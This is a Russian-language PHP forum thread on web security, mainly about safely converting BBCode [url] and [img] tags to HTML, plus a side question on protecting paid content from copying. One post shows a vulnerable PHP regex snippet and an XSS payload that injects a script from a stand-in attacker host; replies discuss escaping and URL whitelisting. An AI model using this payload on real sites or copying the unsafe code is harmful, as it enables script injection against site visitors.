[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Обсуждение темы безопасности
Страницы: 1, 2, 3, 4, 5, 6, 7, 8, 9
Iron_John
inpost, спасибо .... наверное нужен был толчек (в смысле товарищ очнись, а не туалет в деревне smile.gif ... хотя там тоже можно было подумать, если не зима) в спину.

Навереное более испужался непониманием алгоритма, нежели незнанием как защититься. Все оказалось проще паренной репы, если понять, что процедура то загрузки все равно используется серверная а не внешняя .... тогда там и надо ставить "замкИ".

Сбил тот факт, что по аське меня на socks-hack направили .... что есть несколько другое ... вернее совсем другое явление.

За коды отдельная благодарность, но по факту все это знакомо и в нужной ячейке памяти находится.
Да-а-а ... теперь то вразумел, что вопрос реально ламерский и решаемый в 5 минут )))) ...
killer8080
Цитата
И отфильтровать какие то символы тут не получится, да и не нужно это. Нужно просто определить условия, допустим не пускать ничего, что не начинается с http:// А внешние ссылки нас особо не волнуют. Это же касается и картинок:

$text = !empty($_POST['text'])?$_POST['text']:NULL;

$text = preg_replace('#\[url\]http://(.+?)\[/url]#',"<a href=\"http://$1\" >$1</a>",$text);
$text = preg_replace('#\[img\]http://(.+?)\[/img]#',"<img src=\"http://$1\" border=\"0\" />",$text);

echo $text;

А если так
[ URL]http://"></a><script src="http://zloy.hacker.com/trojan.js"></script>[/URL]
twin
Так хреново. Но тут разговор был не об этом. Если почитать все в комплексе, то можно найти это:

Цитата
Нужно данные, перед выводом в поток (в браузер) обработать функцией htmlspecialchars(). Она заменит символы разметки на эквиваленты, которые не смогут влиять на HTML и соответственно не смогут спровоцировать нежелательные действия программы.


Более подробно этот момент описан тут.

Хотя ты прав, нужно это более явно обозначить.

_____________
Если вам недостаточно собственных заблуждений, можно расширить их мнениями экспертов.

Нужно уважать мнение оппонета. Ведь заблуждаться - его святое право.

Настаивал, настаиваю и буду настаивать на своем. На кедровых орешках.

user posted image
killer8080
Вот тут позволю себе не согласиться.
htmlspecialchars() тут применять нельзя, она покаверкает ссылку заменив & на &amp;
сравните
http://phpforum.ru/index.php?showtopic=27926&st=120
и
http://phpforum.ru/index.php?showtopic=27926&st=120

PS. не получилось вставить ссылку с &amp; форумный движок её заменил обратно на &
Тут правильней было бы в регулярке не разрешать всё подряд после http://, а указать явно символы допустимые в URL или перечислить запрещённые, а это любые кавычки и скобки.
killer8080
Пардон был не прав, внутри href замена & на &amp; должна быть
Pasha_Sladkiy
доброго времени суток, друзья!

Не проконсультируйте по маленькому вопросику?)

Опишу ситуацию: некий сервис с платным контентом. (текст, картинки, таблицы). С помощью биллинга смс человек оплачивает доступ, получает уникальный ID, вводит (на сайте или в ПО, ещё не решено) и получает доступ к этому контенту.
Подскажите, как сделать так, что бы свести к минимуму вероятность того, что пользователь сможет контент потом где либо разместить и опубликовать. Т.е. сделать контент доступным только к просмотру и защитить от копирования.

P.S. Я в программировании ноль, так что если возможно, расскажите как можно более доступным языком)

Всем заранее спасибо!!!
Nikitian
Чтобы пользователь что-то увидел, он должен это получить. Так что абсолютной защиты не получится. Можно максимально усложнить способ получения этого контента, но трудозатраты на такое усложнение должны покрывать стоимость контента.
Lisa7493
Спасибо за хороший материал. Предупрежден - значит вооружен user posted image
Invis1ble
Хорошая, годная статья, в некоторой степени повторяющая рекомендации из обсуждаемой темы:
Великое экранирование (или что нужно знать для работы с текстом в тексте)

_____________

Профессиональная разработка на заказ

Я на GitHub | второй профиль

Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.